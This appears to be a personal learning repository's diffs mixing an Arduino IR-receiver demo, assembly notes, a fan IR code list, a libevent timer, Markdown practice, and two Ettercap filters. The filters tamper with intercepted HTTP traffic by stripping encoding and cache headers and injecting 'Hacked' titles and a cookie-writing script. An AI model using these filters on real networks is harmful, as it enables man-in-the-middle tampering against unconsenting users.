--- /dev/null
+//本例来自于红外接收模块的IRremote自带范例
+/*
+ * IRremote: IRrecvDemo - demonstrates receiving IR codes with IRrecv
+ * An IR detector/demodulator must be connected to the input RECV_PIN.
+ * Version 0.1 July, 2009
+ * Copyright 2009 Ken Shirriff
+ * [url]http://arcfn.com[/url]
+ */
+
+#include <IRremote.h>
+
+int RECV_PIN = 11;//定义红外接收器的引脚为11
+IRrecv irrecv(RECV_PIN);
+decode_results results;
+
+void setup()
+{
+ Serial.begin(9600);
+ irrecv.enableIRIn(); // 初始化红外接收器
+}
+
+void loop() {
+ //Serial.println("HAHA");
+ if (irrecv.decode(&results)) {
+ Serial.println(results.value, HEX);//以16进制换行输出接收代码
+ Serial.println();//为了便于观看输出结果增加一个空行
+ irrecv.resume(); // 接收下一个值
+ }
+}
+
int hb = analogRead(2); // Human Body
- if(hb < 10)
+ if(hb < 100)
{
hb = 0;
}
--- /dev/null
+
+pushl %eax == subl $4, %esp
+ movl %eax, (%esp)
+
+
+popl %eax == movl (%esp), %eax
+ addl $4, %esp
+
+
+
+enter pushl %ebp
+ movl %esp, %ebp
+
+
+leave movl %ebp, %esp
+ popl %ebp
--- /dev/null
+电扇 IR NEC
+807FE01F 风速
+807F32CD 静音
+807FF00F 风类
+807FC03F 开关
+807FD02F 定时
+807FF00F 摇头
--- /dev/null
+/*
+ * ------------------------------------------------------------------------
+ * File Name: timer.c
+ * Author: Zhao Yanbai
+ * Sat Feb 28 17:03:43 2015
+ * Description: none
+ * ------------------------------------------------------------------------
+ */
+#include<event.h>
+#include<time.h>
+#include<sys/time.h>
+#include<stdio.h>
+
+struct event ev;
+struct timeval tv;
+
+unsigned int cnt = 0;
+
+void time_cb(int fd, short event, void *argc)
+{
+ printf("timer woke up %u times\n", cnt++);
+ event_add(&ev, &tv);
+}
+
+int main()
+{
+ struct event_base *base = event_init();
+
+ tv.tv_sec = 1;
+ tv.tv_usec= 0;
+
+ evtimer_set(&ev, time_cb, NULL);
+ event_add(&ev, &tv);
+
+ event_base_dispatch(base);
+
+ return 0;
+}
--- /dev/null
+#Extra MarkDown
+
+##H1
+xxxx | yyyy
+----|----
+1 | 2
+3 |4
+
+
+You can specify column alignment with one or two colons:
+
+| Item | Value | Qty |
+| :------- | ----: | :---: |
+| Computer | $1600 | 5 |
+| Phone | $12 | 12 |
+| Pipe | $1 | 234 |
+
+
+
+### Footnotes
+
+You can create footnotes like this[^footnote].
+
+ [^footnote]: Here is the *text* of the **footnote**.
+
+
+
+ ### MathJax
+
+You can render *LaTeX* mathematical expressions using **MathJax**, as on [math.stackexchange.com][1]:
+
+The *Gamma function* satisfying $\Gamma(n) = (n-1)!\quad\forall n\in\mathbb N$ is via the Euler integral
+
+$$
+\Gamma(z) = \int_0^\infty t^{z-1}e^{-t}dt\,.
+$$
+
+
+
+### UML diagrams
+
+You can also render sequence diagrams like this:
+
+```sequence
+Alice->Bob: Hello Bob, how are you?
+Note right of Bob: Bob thinks
+Bob-->Alice: I am good thanks!
+```
+
+And flow charts like this:
+
+```flow
+st=>start: Start
+e=>end
+op=>operation: My Operation
+cond=>condition: Yes or No?
+
+
+st->op->cond
+cond(yes)->e
+cond(no)->op
+```
+
+
######这是H5#####
######这是H6######
+#也可以这样写标题
+
vxcvzdfdsf
fsadfasdf
sfasdf
> dsf
> sadfasd
+fssdff
+
+
+> This is the first level of quoting.
+>
+> > This is nested blockquote.
+>
+> Back to the first level.
+
+
+
+> ## 这是一个标题。
+>
+> 1. 这是第一行列表项。
+> 2. 这是第二行列表项。
+>
+> 给出一些例子代码:
+>
+> return shell_exec("echo $input | $markdown_script");
这是一个*强调*示例,这是另一个 _强调_ 示例
这是一个**加重强调**示例 或 __加重强调__
这是一个***特别强调***示例 或 ___特别强调___
+如果两边都有空格的话 * 就会被当成普通符号 *
+
这是个命令示例`echo "Hello World"` 输出什么?
+* 列表A 1
+* 列表A 2
+* 列表A 3
+
+--
+
++ 列表B 1
++ 列表B 2
++ 列表B 3
+
+--
+- 列表C 1
+- 列表C 2
+- 列表C 3
+
+--
+
+1. 列表D 1
+2. 列表D 2
+3. 列表D 3
+4. 列表D 4
+5. 列表D 5
+
+1986\. What a great season.
```
#include <stdio.h>
}
```
+如果要在代码区段内插入反引号,你可以用多个反引号来开启和结束代码区段:
+
+``There is a literal backtick (`) here.``
+
+
以下是水平分割线
* * *
或
- - -
链接
-[Hello](http://www.qq.com)
-or
-[Tag][Link]
-[Link]: http://www.qq.com "sfasd"
+[Hello](http://www.qq.com)
+or
+[Tag][Link]
+[Link]: http://www.qq.com "Optional Title"
+
+This is [an example](http://example.com/ "Title") inline link.
+[This link](http://example.net/) has no title attribute.
+
+
+
+I get 10 times more traffic from [Google] [1] than from
+[Yahoo] [2] or [MSN] [3].
+ [1]: http://google.com/ "Google"
+ [2]: http://search.yahoo.com/ "Yahoo Search"
+ [3]: http://search.msn.com/ "MSN Search"
+I get 10 times more traffic from [Google][] than from
+[Yahoo][] or [MSN][].
+ [google]: http://google.com/ "Google"
+ [yahoo]: http://search.yahoo.com/ "Yahoo Search"
+ [msn]: http://search.msn.com/ "MSN Search"
let word = "red apple"
-switch word {
-case "dd" :
-}
+//switch word {
+//case "dd" :
+//}
+
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
+ msg("Accept-Encoding.\n");
replace("Accept-Encoding", "Accept-Nothing.");
}
if (search(DATA.data, "If-Modified-Since")) {
replace("If-Modified-Since", "No-Modified-Since");
}
+
+ if (search(DATA.data, "Accept: */*")) {
+ msg("Accept.\n");
+ replace("Accept: */*", "Nccept: */*");
+ }
}
if (ip.proto == TCP && tcp.src == 80) {
}
if (ip.proto == TCP && tcp.src == 80) {
- replace("<title>", "<title>Hacked");
+ if (search(DATA.data, "<title>")) {
+ replace("<title>", "<title>Hacked");
+ msg("Replaced Title.\n");
+ }
}
--- /dev/null
+if (ip.proto == TCP && tcp.dst == 80 || tcp.dst == 8080 ) {
+ if (search(DATA.data, "Accept-Encoding")) {
+ msg("Accept-Encoding.");
+ replace("Accept-Encoding", "Accept-Nothing.");
+ }
+
+ if (search(DATA.data, "If-None-Match")) {
+ msg("If-None-Match.");
+ replace("If-None-Match", "No-None-Match");
+ }
+
+ if (search(DATA.data, "If-Modified-Since")) {
+ msg("If-Modified-Since.");
+ replace("If-Modified-Since", "No-Modified-Since");
+ }
+
+ if (search(DATA.data, "Accept:")) {
+ msg("Accept.");
+ replace("Accept:", "Nccept:");
+ }
+}
+
+if (ip.proto == TCP && tcp.src == 80 || tcp.src == 8080) {
+ #replace("keep-alive", "close");
+ #if (search(DATA.data, "<title>")) {
+ replace("<title>", "<title>[HACKED] ");
+ # msg("Replaced Title.");
+ #}
+ #if (search(DATA.data, "<body>")) {
+ # replace("<body>", "<script>document.write(document.cookie)</script><body>Hacked.<br>");
+ # msg("Replaced Body.");
+ #}
+}
+